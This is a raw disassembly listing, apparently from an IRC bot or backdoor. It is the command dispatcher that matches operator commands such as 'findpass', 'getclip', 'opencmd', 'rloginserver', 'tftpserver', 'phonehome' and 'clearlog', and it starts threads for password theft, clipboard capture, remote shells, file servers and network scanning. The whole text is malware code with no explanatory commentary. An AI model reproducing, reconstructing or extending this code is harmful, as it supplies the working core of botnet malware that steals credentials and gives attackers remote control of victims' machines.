		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aClg	; "clg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aNi	; "ni"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aSi	; "si"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aPs	; "ps"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aUp	; "up"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aDll	; "dll"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4033B1
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C57C
		push	offset dword_42C570
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4033B1:				; CODE XREF: sub_401ACD+18CAj
		push	edi
		push	offset dword_42C56C
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034C7
		cmp	[ebp+var_8], ebx
		jnz	short loc_4033E5
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C558
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4033E5:				; CODE XREF: sub_401ACD+18FCj
		mov	eax, [ebp+arg_18]
		xor	edi, edi
		mov	[ebp+arg_18], eax
		jmp	short loc_4033F2
; ---------------------------------------------------------------------------


loc_4033EF:				; CODE XREF: sub_401ACD+196Cj
		mov	eax, [ebp+arg_18]


loc_4033F2:				; CODE XREF: sub_401ACD+1920j
		cmp	[eax], bl
		jz	short loc_4033F9
		inc	eax
		jmp	short loc_4033FE
; ---------------------------------------------------------------------------


loc_4033F9:				; CODE XREF: sub_401ACD+1927j
		mov	eax, offset aEmpty ; "<Empty>"


loc_4033FE:				; CODE XREF: sub_401ACD+192Aj
		push	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	edi
		cmp	edi, 3
		jl	short loc_4033EF
		push	offset unk_42C528
		call	sub_415D38
		pop	ecx


loc_403446:				; CODE XREF: sub_401ACD+1BFDj
					; sub_401ACD+2EFAj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		mov	[ebp+arg_20], edi
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aSpoof	; "spoof"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AAB
		push	offset aOff	; "off"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4049D9
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4F4
		push	eax
		mov	dword_4CF190, ebx
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40349D:				; CODE XREF: sub_401ACD+2FD9j
		cmp	[ebp+var_8], ebx
		jnz	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869


loc_4034BF:				; CODE XREF: sub_401ACD+7032j
		add	esp, 14h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_4034C7:				; CODE XREF: sub_401ACD+18F3j
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aGc	; "gc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aCip	; "cip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aHttp	; "http"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aShitycrash ; "shitycrash"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403653
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C44C
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403632
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403632:				; CODE XREF: sub_401ACD+1B47j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		mov	[esp+10h+var_10], offset aShitycrash ; "shitycrash"
		push	[ebp+esi+var_7C]
		call	sub_41CA50
		jmp	loc_4097D0
; ---------------------------------------------------------------------------


loc_403653:				; CODE XREF: sub_401ACD+1B2Fj
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aAs	; "as"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036AA
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI	Are You	T"...
		push	[ebp+arg_4]
		call	sub_409823


loc_4036A2:				; CODE XREF: sub_401ACD+47Bj
		add	esp, 0Ch
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4036AA:				; CODE XREF: sub_401ACD+1BBFj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4036D0
		push	edi
		push	offset aFp	; "fp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403446


loc_4036D0:				; CODE XREF: sub_401ACD+1BECj
		push	[ebp+var_88]
		lea	eax, [ebp+var_FEC]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F68], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_F64], eax
		push	offset unk_42C3CC
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_F6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FF0]
		push	ebx
		push	eax
		push	offset sub_4172C1
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_F6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_403778


loc_403762:				; CODE XREF: sub_401ACD+1CA9j
		cmp	[ebp+var_F60], ebx
		jnz	loc_4082DE
		push	32h
		call	near ptr 26A0475h
		nop
		jmp	short loc_403762
; ---------------------------------------------------------------------------


loc_403778:				; CODE XREF: sub_401ACD+1C93j
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_42C390
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_403789:				; CODE XREF: sub_401ACD+1B95j
					; sub_401ACD+1BAAj
		mov	al, byte_4319E2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4319E2
		jz	loc_401F75
		mov	ecx, edx


loc_4037A0:				; CODE XREF: sub_401ACD+1CDBj
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037A0
		cmp	al, bl
		jz	loc_401F75
		mov	[ebp+arg_18], edx


loc_4037B5:				; CODE XREF: sub_401ACD+1FAEj
		push	0Bh
		call	sub_40B602
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		mov	edx, eax
		mov	eax, 320h
		add	edx, ecx
		cmp	edx, eax
		jle	short loc_403808
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C354
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_403A72
; ---------------------------------------------------------------------------


loc_403808:				; CODE XREF: sub_401ACD+1D06j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431800, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], eax
		mov	[ebp+arg_0], ebx
		jz	short loc_403875
		mov	eax, [ebp+arg_18]
		mov	esi, offset dword_431800
		lea	edi, [eax-0Ah]


loc_40383F:				; CODE XREF: sub_401ACD+1D8Aj
		lea	eax, [esi-28h]
		push	edi
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40385B
		inc	[ebp+arg_0]
		add	esi, 40h
		cmp	[esi], ebx
		jnz	short loc_40383F
		jmp	short loc_403875
; ---------------------------------------------------------------------------


loc_40385B:				; CODE XREF: sub_401ACD+1D80j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431800[ecx]
		mov	[ebp+var_74C], ecx


loc_403875:				; CODE XREF: sub_401ACD+1D65j
					; sub_401ACD+1D8Cj
		cmp	[ebp+var_74C], ebx
		jz	loc_403A86
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	esi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], esi
		push	[ebp+arg_4]
		call	dword_4CB988
		mov	al, [ebp+var_8FF]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BFD0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41C820
		add	esp, 14h
		cmp	esi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40391D


loc_4038FB:				; CODE XREF: sub_401ACD+1E4Ej
		cmp	eax, ebx
		jz	short loc_40391D
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, esi
		jl	short loc_4038FB


loc_40391D:				; CODE XREF: sub_401ACD+1E2Cj
					; sub_401ACD+1E30j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+var_8]
		mov	[ebp+var_750], eax
		lea	eax, [ebp+var_850]
		push	80h
		push	eax
		mov	[ebp+var_720], 1
		mov	[ebp+var_728], esi
		mov	[ebp+var_724], edi
		call	sub_41C360
		push	offset byte_43DB98
		push	offset aF	; "#f"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_40398A
		push	offset aF	; "#f"
		lea	eax, [ebp+var_7D0]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403990
; ---------------------------------------------------------------------------


loc_40398A:				; CODE XREF: sub_401ACD+1EA0j
		mov	[ebp+var_7D0], bl


loc_403990:				; CODE XREF: sub_401ACD+1EBBj
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039A2
		mov	eax, offset aSequential	; "Sequential"


loc_4039A2:				; CODE XREF: sub_401ACD+1ECEj
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C2D4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C600
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_403A2C


loc_403A1A:				; CODE XREF: sub_401ACD+1F5Dj
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A47
		push	32h
		nop
		call	near ptr 26A0475h
		jmp	short loc_403A1A
; ---------------------------------------------------------------------------


loc_403A2C:				; CODE XREF: sub_401ACD+1F4Bj
		nop
		call	near ptr 26A0CACh
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C298
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_403A47:				; CODE XREF: sub_401ACD+1F53j
		cmp	edi, ebx
		jnz	short loc_403A65
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403A65:				; CODE XREF: sub_401ACD+1F7Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx


loc_403A72:				; CODE XREF: sub_401ACD+1D36j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_4037B5
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_403A86:				; CODE XREF: sub_401ACD+1DAEj
		push	offset unk_42C260
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_403A90:				; CODE XREF: sub_401ACD+1B05j
					; sub_401ACD+1B1Aj
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403AA6
		push	offset unk_42C240
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_403AA6:				; CODE XREF: sub_401ACD+1FCDj
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403AC9
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403ADD
; ---------------------------------------------------------------------------


loc_403AC9:				; CODE XREF: sub_401ACD+1FE2j
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2690000h


loc_403ADD:				; CODE XREF: sub_401ACD+1FFAj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403AED
		mov	esi, offset byte_429110


loc_403AED:				; CODE XREF: sub_401ACD+2019j
		push	esi
		lea	eax, [ebp+var_2C50]
		push	edi
		push	eax
		call	sub_41C360
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B44],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B48],	ebx
		mov	[ebp+var_2D58],	eax
		lea	eax, [ebp+var_2B40]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2AC0],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2ABC],	eax
		lea	eax, [ebp+var_2D54]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B44]
		push	offset unk_42C20C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2B4C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D58]
		push	ebx
		push	eax
		push	offset byte_412197
		push	ebx
		push	ebx
		call	near ptr 26A04CCh
		nop
		mov	ecx, [ebp+var_2B4C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_403BB9


loc_403BA3:				; CODE XREF: sub_401ACD+20EAj
		cmp	[ebp+var_2AB8],	ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 26A0475h
		nop
		jmp	short loc_403BA3
; ---------------------------------------------------------------------------


loc_403BB9:				; CODE XREF: sub_401ACD+20D4j
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_42C1D0
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_403BCA:				; CODE XREF: sub_401ACD+1ADBj
					; sub_401ACD+1AF0j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403BEE
; ---------------------------------------------------------------------------


loc_403BE9:				; CODE XREF: sub_401ACD+2106j
					; sub_401ACD+2111j
		mov	eax, dword_42907C


loc_403BEE:				; CODE XREF: sub_401ACD+211Aj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36CC],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B8],	eax
		jz	short loc_403C21
		lea	eax, [ebp+var_37D0]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_403C4C
; ---------------------------------------------------------------------------


loc_403C21:				; CODE XREF: sub_401ACD+2141j
		lea	eax, [ebp+var_49F4]
		push	104h
		push	eax
		call	near ptr 26A0000h
		nop
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_49F4]
		push	eax
		call	sub_41C3B1
		add	esp, 14h


loc_403C4C:				; CODE XREF: sub_401ACD+2152j
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+eax+var_37D1], 5Ch
		pop	ecx
		jnz	short loc_403C77
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+eax+var_37D1], bl


loc_403C77:				; CODE XREF: sub_401ACD+2194j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A58]
		mov	[ebp+var_3A5C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36BC],	eax
		lea	eax, [ebp+var_37D0]
		mov	[ebp+var_36C0],	edi
		push	eax
		push	[ebp+var_36CC]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C194
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_36C4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A5C]
		push	ebx
		push	eax
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		call	near ptr 26A04CCh
		nop
		mov	ecx, [ebp+var_36C4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_403D2B


loc_403D19:				; CODE XREF: sub_401ACD+225Cj
		cmp	[ebp+var_36B0],	ebx
		jnz	short loc_403D46
		push	32h
		nop
		call	near ptr 26A0475h
		jmp	short loc_403D19
; ---------------------------------------------------------------------------


loc_403D2B:				; CODE XREF: sub_401ACD+224Aj
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_42C158


loc_403D37:				; CODE XREF: sub_401ACD+23BFj
					; sub_401ACD+4BDCj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_403D46:				; CODE XREF: sub_401ACD+2252j
					; sub_401ACD+23A3j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	edi
		jmp	loc_4071A3
; ---------------------------------------------------------------------------


loc_403D56:				; CODE XREF: sub_401ACD+1AB1j
					; sub_401ACD+1AC6j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403D7A
; ---------------------------------------------------------------------------


loc_403D75:				; CODE XREF: sub_401ACD+2292j
					; sub_401ACD+229Dj
		mov	eax, dword_429080


loc_403D7A:				; CODE XREF: sub_401ACD+22A6j
		mov	[ebp+var_1828],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403D91
		lea	eax, [ebp+var_C4]


loc_403D91:				; CODE XREF: sub_401ACD+22BCj
		push	eax
		lea	eax, [ebp+var_1968]
		push	40h
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403DB3
		mov	esi, offset byte_43DB98


loc_403DB3:				; CODE XREF: sub_401ACD+22DFj
		push	esi
		lea	eax, [ebp+var_1928]
		push	100h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_19E8]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1814],	eax
		lea	eax, [ebp+var_1968]
		push	eax
		mov	[ebp+var_19EC],	esi
		push	[ebp+var_1828]
		mov	[ebp+var_1818],	edi
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C11C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1824],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19EC]
		push	ebx
		push	eax
		push	offset word_41144E
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_1824]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_403E80


loc_403E6A:				; CODE XREF: sub_401ACD+23B1j
		cmp	[ebp+var_1810],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26A0475h
		jmp	short loc_403E6A
; ---------------------------------------------------------------------------


loc_403E80:				; CODE XREF: sub_401ACD+239Bj
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_42C0E0
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_403E91:				; CODE XREF: sub_401ACD+1A87j
					; sub_401ACD+1A9Cj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EA4
		push	esi
		call	sub_41C159
		jmp	short loc_403EAB
; ---------------------------------------------------------------------------


loc_403EA4:				; CODE XREF: sub_401ACD+23CDj
		push	0Bh
		call	sub_40B621


loc_403EAB:				; CODE XREF: sub_401ACD+23D5j
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BD1A
		jmp	loc_404376
; ---------------------------------------------------------------------------


loc_403ECB:				; CODE XREF: sub_401ACD+1A5Dj
					; sub_401ACD+1A72j
		mov	eax, dword_4CB900
		cmp	eax, ebx
		jz	short loc_403EE8
		call	eax
		test	eax, eax
		jz	short loc_403EE1
		push	offset unk_42C0BC
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EE1:				; CODE XREF: sub_401ACD+240Bj
		push	offset unk_42C090
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EE8:				; CODE XREF: sub_401ACD+2405j
		push	offset unk_42C064


loc_403EED:				; CODE XREF: sub_401ACD+2412j
					; sub_401ACD+2419j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_406BFB
; ---------------------------------------------------------------------------


loc_403F03:				; CODE XREF: sub_401ACD+1A33j
					; sub_401ACD+1A48j
		call	sub_40A928
		test	eax, eax
		jz	short loc_403F13
		push	offset unk_42C040
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403F13:				; CODE XREF: sub_401ACD+243Dj
		push	offset unk_42C014
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403F1A:				; CODE XREF: sub_401ACD+1A09j
					; sub_401ACD+1A1Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F39
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BFFC
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403F39:				; CODE XREF: sub_401ACD+2450j
		push	ebx
		push	[ebp+var_4]
		call	sub_418723
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BFE0
		jmp	loc_40423F
; ---------------------------------------------------------------------------


loc_403F5B:				; CODE XREF: sub_401ACD+18A0j
					; sub_401ACD+18B5j
		push	0Ah
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403F6E
		push	offset unk_42BFB4
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------


loc_403F6E:				; CODE XREF: sub_401ACD+2498j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A1B1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403F8A
		push	offset unk_42BF8C
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------


loc_403F8A:				; CODE XREF: sub_401ACD+24B4j
		push	offset unk_42BF6C


loc_403F8F:				; CODE XREF: sub_401ACD+249Fj
					; sub_401ACD+24BBj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
